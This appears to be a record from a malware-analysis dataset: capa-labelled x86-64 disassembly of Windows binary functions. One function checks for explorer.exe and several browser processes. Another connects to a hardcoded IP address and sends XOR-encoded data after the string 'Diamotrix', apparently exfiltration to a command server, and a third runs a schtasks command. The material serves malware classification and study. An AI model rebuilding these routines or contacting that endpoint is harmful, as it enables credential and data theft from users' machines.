joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
xor ebx, ebx
mov rsi, rdx
mov rdi, rcx
test rcx, rcx
jne 0x180001026
xor eax, eax
mov rbx, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
pop rdi
ret
movsxd rax, dword [rcx + 0x3c]
mov qword [rsp + 0x10], rbp
mov ecx, dword [rax + rcx + 0x88]
add rcx, rdi
mov ebp, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
mov r10d, dword [rcx + 0x24]
add rbp, rdi
add r9, rdi
add r10, rdi
test edx, 0xffff0000
jne 0x18000105d
movzx eax, dx
sub eax, dword [rcx + 0x10]
jmp 0x1800010aa
mov r11d, dword [rcx + 0x18]
test r11d, r11d
je 0x1800010b1
nop word [rax + rax]
mov eax, dword [r9]
mov r8, rsi
dec r11d
add rax, rdi
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180001093
inc rax
test ecx, ecx
jne 0x180001080
test edx, edx
je 0x1800010a6
add r9, 4
add r10, 2
test r11d, r11d
jne 0x180001070
jmp 0x1800010b1
movzx eax, word [r10]
mov ebx, dword [rbp + rax*4]
add rbx, rdi
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x20]
mov rax, rbx
mov rbx, qword [rsp + 0x18]
pop rdi
ret
Function at 0x180078aeb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18008a470]
jne 0x180072fda
rol rcx, 0x10
test cx, 0xffff
jne 0x180072fd6
repz ret
ror rcx, 0x10
jmp 0x180078a44
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18008be20]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x18008bf18]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180078ac9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18008be20]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180078aeb
mov rax, qword [rsp + 0x88]
mov qword [0x18008bf18], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18008beb8], rax
mov rax, qword [0x18008bf18]
mov qword [0x18008bd90], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18008bea0], rax
mov dword [0x18008bd80], 0xc0000409
mov dword [0x18008bd84], 1
mov rax, qword [0x18008a470]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18008a478]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18008be18], eax
mov ecx, 1
call fcn.18007a494
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180084478]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18008be18], 0
jne 0x180078b72
mov ecx, 1
call fcn.18007a494
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1800795e0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x180079454
Function at 0x180080c18
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.180078f04
xor ebx, ebx
mov rdi, rax
cmp qword [0x18008cad8], rbx
jne 0x180080d1e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x180080df3
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180080df3
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18008cad8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18008cae0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x18008cae8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x18008caf8], rax
test rax, rax
je 0x180080d15
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x18008caf0], rax
jmp 0x180080d25
mov rax, qword [0x18008caf0]
jmp 0x180080d2c
mov rax, qword [0x18008caf0]
mov r11, qword [0x18008caf8]
cmp rax, rdi
je 0x180080d94
cmp r11, rdi
je 0x180080d94
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x18008caf8]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x180080d94
test rax, rax
je 0x180080d94
call rsi
test rax, rax
je 0x180080d8e
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180080d8e
test byte [rsp + 0x38], 1
jne 0x180080d94
bts ebp, 0x15
jmp 0x180080dd2
mov rcx, qword [0x18008cae0]
cmp rcx, rdi
je 0x180080dd2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180080dd2
call rax
mov rbx, rax
test rax, rax
je 0x180080dd2
mov rcx, qword [0x18008cae8]
cmp rcx, rdi
je 0x180080dd2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180080dd2
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18008cad8]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x180080df3
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x180080df5
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x1800045fc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x50
mov qword [rax - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, r8
mov rbp, rcx
xor esi, esi
mov dword [rsp + 0x20], esi
lea rcx, [rax - 0x28]
call fcn.1800048f4
nop
lea rcx, [rsp + 0x30]
call fcn.1800134f4
mov rdx, rax
xor r8d, r8d
mov rcx, rbp
call fcn.180004588
lea rcx, [rsp + 0x30]
call fcn.1800134f4
test rax, rax
je 0x1800046ab
mov rcx, r14
call fcn.1800134f4
mov rcx, rax
xor edx, edx
mov rax, rsi
div rcx
mov rcx, r14
call fcn.1800045e4
mov rdi, rax
mov rdx, rsi
mov rcx, rbp
call fcn.1800045e4
mov rbx, rax
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.1800045e4
mov cl, byte [rax]
xor cl, byte [rdi]
mov byte [rbx], cl
inc rsi
lea rcx, [rsp + 0x30]
call fcn.1800134f4
cmp rsi, rax
jb 0x18000465a
lea rcx, [rsp + 0x30]
call fcn.1800011bc
mov rax, rbp
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret

Function at 0x1800046d4
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x50
mov qword [rax - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, r8
mov rbp, rdx
mov rsi, rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov rcx, rdx
call fcn.1800134f4
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x30]
call fcn.180004588
nop
mov rcx, rbp
call fcn.1800134f4
test rax, rax
je 0x180004773
mov rcx, r14
call fcn.1800134f4
mov rcx, rax
xor edx, edx
mov rax, rdi
div rcx
mov rcx, r14
call fcn.1800045e4
mov bl, byte [rax]
mov rdx, rdi
mov rcx, rbp
call fcn.1800045e4
xor bl, byte [rax]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1800045e4
mov byte [rax], bl
inc rdi
mov rcx, rbp
call fcn.1800134f4
cmp rdi, rax
jb 0x18000472a
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.180004ad8
nop
lea rcx, [rsp + 0x30]
call fcn.1800011bc
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x180007438
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x140]
sub rsp, 0x240
mov rdi, rdx
mov ebx, ecx
test ecx, ecx
je 0x180007531
jle 0x18000755c
cmp ecx, 2
jle 0x1800074f6
cmp ecx, 3
jne 0x18000755c
mov ebx, 0x103
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, ebx
mov byte [rsp + 0x20], 0
call fcn.1800070d8
lea rcx, [rbp + 0x31]
mov r8d, ebx
xor edx, edx
mov byte [rbp + 0x30], 0
call fcn.1800070d8
lea rdx, [rsp + 0x20]
mov r9d, 1
xor r8d, r8d
mov rcx, rdi
call fcn.1800071f0
test eax, eax
je 0x18000755c
lea rcx, [rbp + 0x30]
call fcn.180006e8c
lea rcx, [rbp + 0x30]
call qword [0x180040af8]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x20]
xor r8d, r8d
call qword [0x180040850]
lea rcx, [rbp + 0x30]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x18000755c
mov dl, 0x3a
mov rcx, rdi
call qword [0x180040998]
test rax, rax
je 0x18000755c
xor edx, edx
lea rcx, [rax + 1]
mov byte [rax], 0
lea r8d, [rdx + 0xa]
call qword [0x1800408a8]
mov rcx, rdi
mov edx, eax
cmp ebx, 2
jne 0x18000752a
call fcn.18001bd08
jmp 0x18000755c
call fcn.18001ae7c
jmp 0x18000755c
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x20], 0
call fcn.1800070d8
xor r9d, r9d
lea rdx, [rsp + 0x20]
lea r8d, [r9 + 1]
mov rcx, rdi
call fcn.1800071f0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x18000d6cc
Capabilities:
Enumerate process modules

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x198]
sub rsp, 0x290
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov edi, edx
mov rbx, rcx
and dword [rsp + 0x38], 0
lea rcx, [rsp + 0x20]
call fcn.18000bf00
nop
lea eax, [rdi + 1]
test eax, 0xfffffffe
jne 0x18000d716
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
mov edx, edi
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000d762
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
jmp 0x18000d75e
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.180013708
lea rdx, [rsp + 0x50]
mov rcx, rdi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x18000d742
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.18000bf28
nop
lea rcx, [rsp + 0x20]
call fcn.18000c5ac
mov rax, rbx
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x18000e9e0
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x18000eb8a
cmp ecx, 0x7c
je 0x18000eb8a
cmp ecx, 0x29
jne 0x18000ea25
cmp dword [rdi + 0x1c], 0
jne 0x18000eb8a
test dword [rdi + 0x80], 0x10000000
je 0x18000eb95
cmp ecx, 0x2e
jne 0x18000ea40
lea rcx, [rdi + 0x40]
call fcn.18000e56c
mov rcx, rdi
call fcn.180011854
jmp 0x18000eb76
cmp ecx, 0x5c
jne 0x18000eaa3
mov rcx, rdi
call fcn.180011854
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x18000ea76
cmp byte [rdi + 0x78], 0x62
jne 0x18000ea76
lea rcx, [rdi + 0x40]
call fcn.18000e9d4
mov rcx, rdi
call fcn.180011854
jmp 0x18000eb7e
test eax, eax
je 0x18000ea96
cmp byte [rdi + 0x78], 0x42
jne 0x18000ea96
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000e9d4
mov rcx, rbx
call fcn.1800117fc
jmp 0x18000ea69
mov rcx, rdi
call fcn.18000ec40
jmp 0x18000eb76
cmp ecx, 0x5b
jne 0x18000eace
mov rcx, rdi
call fcn.180011854
mov rcx, rdi
call fcn.18000f1f8
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.18001043c
jmp 0x18000eb76
cmp ecx, 0x28
jne 0x18000eaf8
mov rcx, rdi
call fcn.180011854
mov rcx, rdi
call fcn.1800126a0
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.18001043c
jmp 0x18000eb72
cmp ecx, 0x5e
jne 0x18000eb0b
lea rcx, [rdi + 0x40]
call fcn.18000e378
jmp 0x18000ea69
cmp ecx, 0x24
jne 0x18000eb1e
lea rcx, [rdi + 0x40]
call fcn.18000e5f8
jmp 0x18000ea69
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18000ebbf
cmp ecx, 0x3f
je 0x18000ebbf
cmp ecx, 0x7b
je 0x18000ebbf
cmp ecx, 0x7d
jne 0x18000eb4d
test dword [rdi + 0x80], 0x10000000
je 0x18000eba3
cmp ecx, 0x5d
jne 0x18000eb5e
test dword [rdi + 0x80], 0x10000000
je 0x18000ebb1
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e384
mov rcx, rdi
call fcn.180011854
test bl, bl
je 0x18000eb7e
mov rcx, rdi
call fcn.1800118fc
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x18000e9f4
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.1800103f8
int3
mov edx, 6
mov rcx, rdi
call fcn.1800103f8
int3
mov edx, 4
mov rcx, rdi
call fcn.1800103f8
int3
mov edx, 0xa
mov rcx, rdi
call fcn.1800103f8
int3
Function at 0x1800164e8
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x180016692
cmp ecx, 0x7c
je 0x180016692
cmp ecx, 0x29
jne 0x18001652d
cmp dword [rdi + 0x1c], 0
jne 0x180016692
test dword [rdi + 0x80], 0x10000000
je 0x18001669d
cmp ecx, 0x2e
jne 0x180016548
lea rcx, [rdi + 0x40]
call fcn.18000e56c
mov rcx, rdi
call fcn.180018270
jmp 0x18001667e
cmp ecx, 0x5c
jne 0x1800165ab
mov rcx, rdi
call fcn.180018270
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x18001657e
cmp byte [rdi + 0x78], 0x62
jne 0x18001657e
lea rcx, [rdi + 0x40]
call fcn.18000e9d4
mov rcx, rdi
call fcn.180018270
jmp 0x180016686
test eax, eax
je 0x18001659e
cmp byte [rdi + 0x78], 0x42
jne 0x18001659e
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.18000e9d4
mov rcx, rbx
call fcn.1800117fc
jmp 0x180016571
mov rcx, rdi
call fcn.1800166d8
jmp 0x18001667e
cmp ecx, 0x5b
jne 0x1800165d6
mov rcx, rdi
call fcn.180018270
mov rcx, rdi
call fcn.1800169b0
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.18001796c
jmp 0x18001667e
cmp ecx, 0x28
jne 0x180016600
mov rcx, rdi
call fcn.180018270
mov rcx, rdi
call fcn.180018a10
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.18001796c
jmp 0x18001667a
cmp ecx, 0x5e
jne 0x180016613
lea rcx, [rdi + 0x40]
call fcn.18000e378
jmp 0x180016571
cmp ecx, 0x24
jne 0x180016626
lea rcx, [rdi + 0x40]
call fcn.18000e5f8
jmp 0x180016571
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x1800166c7
cmp ecx, 0x3f
je 0x1800166c7
cmp ecx, 0x7b
je 0x1800166c7
cmp ecx, 0x7d
jne 0x180016655
test dword [rdi + 0x80], 0x10000000
je 0x1800166ab
cmp ecx, 0x5d
jne 0x180016666
test dword [rdi + 0x80], 0x10000000
je 0x1800166b9
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.18000e384
mov rcx, rdi
call fcn.180018270
test bl, bl
je 0x180016686
mov rcx, rdi
call fcn.1800182dc
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x1800164fc
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.1800103f8
int3
mov edx, 6
mov rcx, rdi
call fcn.1800103f8
int3
mov edx, 4
mov rcx, rdi
call fcn.1800103f8
int3
mov edx, 0xa
mov rcx, rdi
call fcn.1800103f8
int3
Function at 0x18001af98
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.1800070d8
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [0x180040808]
lea rcx, [rsp + 0x30]
call qword [0x180040810]
lea rdx, str.explorer.exe
mov rcx, rax
mov rbx, rax
call qword [0x180040888]
test eax, eax
jne 0x18001b01a
call fcn.180006974
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x1800304ee]
lea r8, [0x180015c44]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1800076ec
lea rdx, str.firefox.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b038
call fcn.180006974
call fcn.180018d7c
lea rdx, str.chrome.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b056
call fcn.180006974
call fcn.18000d794
lea rdx, str.msedge.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b074
call fcn.180006974
call fcn.18000d9bc
lea rdx, str.opera.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b092
call fcn.180006974
call fcn.18000dbdc
lea rdx, str.brave.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b0b0
call fcn.180006974
call fcn.18000d794
lea rdx, str.browser.exe
mov rcx, rbx
call qword [0x180040888]
test eax, eax
jne 0x18001b0d0
call fcn.180006974
call fcn.18000d794
jmp 0x18001b0f3
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x1800304ee]
lea r8, [0x180015c44]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
add rsp, 0x140
pop rbx
ret
Function at 0x18001ba54
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
mov qword [rsp + 0x70], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, rcx
or r15, 0xffffffffffffffff
mov rdi, r15
and qword [rbp + 0x188], 0
mov ecx, 0x202
lea rdx, [rbp - 0x40]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18001baad
lea eax, [r15 + 2]
jmp 0x18001bc67
xor edx, edx
lea r8d, [rdx + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1800070d8
mov dword [rsp + 0x44], 2
mov esi, 1
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x4c], 6
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8968
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001bb29
lea r9, [rbp + 0x188]
lea r8, [rsp + 0x40]
lea rdx, str.8967
lea rcx, str.176.111.174.140
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18001bb29
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001bc65
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x18001bb7f
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, r15
je 0x18001bb1e
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, r15d
jne 0x18001bb78
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, r15
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001bb35
mov rbx, qword [rbp + 0x188]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, r15
je 0x18001bb1e
xor r9d, r9d
lea r8d, [r9 + 9]
lea rdx, str.Diamotrix
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, r15d
jne 0x18001bbb7
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18001bb1e
lea rdx, str.Diamotrix
lea rcx, [rbp - 0x68]
call fcn.1800010e8
nop
mov rdx, r14
lea rcx, [rsp + 0x78]
call fcn.1800010e8
nop
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x20]
call fcn.1800046d4
nop
lea rcx, [rsp + 0x78]
call fcn.1800011bc
nop
lea rcx, [rbp - 0x68]
call fcn.1800011bc
lea rcx, [rsp + 0x20]
call fcn.1800134f4
mov rbx, rax
lea rcx, [rsp + 0x20]
call fcn.180004cb4
mov rdx, rax
xor r9d, r9d
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rdi
cmp eax, r15d
je 0x18001bc3f
mov edx, esi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
cmp eax, r15d
jne 0x18001bc4d
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18001bc5b
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor esi, esi
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov eax, esi
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001620
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebp, ebp
mov r8, rcx
lea rdx, str.schtasks__query__tn__
lea rcx, [rsp + 0x38]
call fcn.140002120
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xb
jb 0x1400016a3
lea rsi, [rcx + 0xb]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x140001687
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x16
lea rdx, str.___nul_2_1
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], bp
jmp 0x1400016c3
mov qword [rsp + 0x20], 0xb
lea r9, str.___nul_2_1
mov edx, 0xb
mov rcx, rbx
call fcn.140002460
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 7
mov word [rbx], bp
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x140001739
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001734
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001734
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000277c
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
test eax, eax
sete bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14000179a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001795
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001795
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000277c
movzx eax, bl
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002650
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400030d4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000311e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000311e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000311e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000311e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000311e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003120
xor al, al
add rsp, 0x28
ret